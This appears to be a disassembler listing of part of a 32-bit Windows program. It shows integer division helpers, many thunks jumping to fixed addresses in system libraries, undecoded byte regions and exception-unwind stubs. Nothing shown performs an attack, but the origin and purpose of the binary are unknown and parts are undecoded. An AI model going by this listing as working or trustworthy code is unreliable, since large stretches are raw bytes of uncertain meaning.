		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		dd 80A0D4E9h, 0E9900777h, 7780862Ch, 1477E990h,	0E9907781h
		dd 7780A486h, 0A805E990h, 79E97780h, 6C7780ABh,	80A99BE9h
		dd 34E9D477h, 287780ADh, 8111D3E9h, 5FE9C577h, 2F7780B1h
		dd 84DCE990h, 0F4E97780h, 377780A3h, 569DE990h,	0E990777Fh
		dd 777E5B35h, 3C0E990h,	0E9907780h, 778007C2h, 887EE990h
		dd 0E990777Eh, 77808EEDh, 0AE20E990h, 0E9907780h, 7780398Bh
		dd 38B1E990h, 0E9907780h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		db 9Ah,	90h, 0E9h
		dd 7780030Ch, 0A143E990h, 0A06C7780h, 2DABB33Ch, 5626025Ch
		dd 4C13B1E7h, 0A164D2h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh,	7FE8DBE8h
		dd 0D835977h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 8725E890h
		dd 0D8B777Eh, 50E8D8h, 0E1E80889h, 90777E86h, 0E8D40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h
		dd 7500446Ch, 6C08680Ch, 0E8900043h, 77816B85h,	0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h
		dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22D95C6h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	2449F7Eh
		dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 778032CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436BCC	proc near		; CODE XREF: ___:00436814p
		jmp	near ptr 77C21868h
sub_436BCC	endp

; ---------------------------------------------------------------------------
		db 53h,	0E9h, 7Ah
dword_436BD4	dd 8D777FE2h, 32BCE990h, 0E9907780h, 777FC1CAh,	8301E990h
		dd 0E990777Eh, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh
		dd 777E85C3h, 7FE75FE9h, 71E99277h, 0C7777FF0h,	8205E990h
		dd 0E9907781h, 75C6973Bh, 9819E990h, 0F3E975C6h, 0C75C5B3h
		dd 8843E990h, 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h
		dd 75C54BF8h, 0A55E990h, 0E99075C6h, 75C4EE84h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23A9AAAh, 9B42E990h,	0E990023Ah, 23A9D91h, 9382E990h
		dd 0E990023Bh, 23C937Ch, 3CA5D1E9h, 71E97102h, 88023D93h
		dd 936AE990h, 0E990023Eh, 23EA9C5h, 0AC47E990h,	74E9023Eh
		dd 0E6023EAFh, 9352E990h, 0E990023Fh, 23F9512h,	9BF6E990h
		dd 0E990023Fh, 2409340h, 9713E990h, 0E9900240h,	2419334h
		dd 9659E990h, 63E90241h, 11024198h, 429323E9h, 0E9907102h
		dd 243931Ch, 449317E9h,	0E9907402h, 2449E2Ah, 45930BE9h
		dd 25E95A02h, 3902459Ch, 45A061E9h, 0E990E802h,	24692F8h
		dd 3A92F3E9h, 0E9908802h, 2399A82h, 92E6E990h, 0E1E90239h
		dd 58023892h, 379ADAE9h, 0E990B302h, 23792D4h, 92CEE990h
		dd 0E9900236h, 235A142h, 9E22E990h, 6EE90235h, 5802359Ah
		dd 3592B7E9h, 0B1E93702h, 0E6022D92h, 9C67E990h, 0E9900234h
		dd 2349C2Eh, 9BC7E990h,	0E9900234h, 7C4CA385h, 4CA298E9h
		dd 0E990E67Ch, 2349995h, 349851E9h, 0E9903202h,	2349280h
		dd 339AB6E9h, 0E990E802h, 2339A03h, 980AE990h, 0E9900233h
		dd 2339627h, 9482E990h,	5DE90233h, 0E1023392h, 9F63E990h
		dd 0E9900232h, 2329E3Eh, 9C7EE990h, 0E9900232h,	232993Eh
		dd 981EE990h, 0E9900232h, 2329238h, 9DE3E990h, 0E9900231h
		dd 2319A60h, 98D7E990h,	0E9900231h, 2319537h, 31921BE9h
		dd 0E9903C02h, 2309CEBh, 309905E9h, 0E9907602h,	23098A4h
		dd 9202E990h, 0E9900230h, 22F9FD2h, 9C82E990h, 0E990022Fh
		dd 22F9838h, 91EAE990h,	0E990022Fh, 22E9F66h, 9D9EE990h
		dd 0E990022Eh, 22E9A95h, 9896E990h, 0E990022Eh,	22E91CCh
		dd 9304E990h, 7EE9022Dh, 0AE001B33h, 9588E990h,	0E9900246h
		dd 250A3D5h, 91AEE990h,	0E990024Ch, 25091A8h, 91A2E990h
		dd 0E990024Fh, 24E9FB0h, 4E9197E9h, 0ECE93902h,	0A1024D94h
		dd 4D918BE9h, 0E9908D02h, 24C9BBFh, 9928E990h, 0E990024Ch
		dd 24C97BEh, 4C94B4E9h,	0E990DE02h, 24697EFh, 4B9D75E9h
		dd 0E990B802h, 24B9933h, 9570E990h, 55E9024Bh, 0CA024B91h
		dd 914EE990h, 0E990024Ah, 2499148h, 0AD86E990h,	0E9900248h
		dd 248A9A8h, 48A6A1E9h,	35E97E02h, 4B0248A5h, 912AE990h
		dd 0E9900248h, 2479124h, 0A22EE990h, 0E9907C60h, 7167D059h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		nop
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71687585h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EF4	proc near		; CODE XREF: sub_42C8E1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		jmp	near ptr 71AB615Ah
sub_436EFA	endp

; ---------------------------------------------------------------------------
		db 0E1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_436F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42DFD0+53p
					; sub_42DFD0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F0C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		db 0Eh
		dd 67BCA3E9h
; ---------------------------------------------------------------------------
		jno	short loc_436F73

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F1E	proc near
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		db 0BDh
		db 90h
		db 0E9h, 3Ch, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
		jmp	near ptr 71AB951Eh
sub_436F2A	endp

; ---------------------------------------------------------------------------
		db 0CFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F30	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_436F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		jmp	near ptr 71AB2B66h
sub_436F36	endp

; ---------------------------------------------------------------------------
		db 9Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F42	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0DAh, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		db 0D9h
		dd 67E16FE9h
		db 71h,	95h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_436F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		db 4Eh,	90h, 0E9h
		dd 71689BE4h, 0D5A7E990h
		db 67h,	71h, 90h
; ---------------------------------------------------------------------------


loc_436F73:				; CODE XREF: ___:00436F1Cj
		jmp	near ptr 71AB2BC0h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 91h, 0BDh
		dd 0E9907167h, 7167BCE5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		dw 0DAE9h
		dd 0DC716817h, 0D4F3E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_436F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		nop
		jmp	near ptr 71B25099h
sub_436FAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		jmp	near ptr 76BF215Ah
sub_436FB4	endp

; ---------------------------------------------------------------------------
		db 9Ah

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 7Ch, 0F2h
dword_436FD0	dd 0E9907780h, 7780F14Dh, 80F193E9h, 0E9902D77h, 7780F33Ch
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh,	8DFFFC97h
		dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
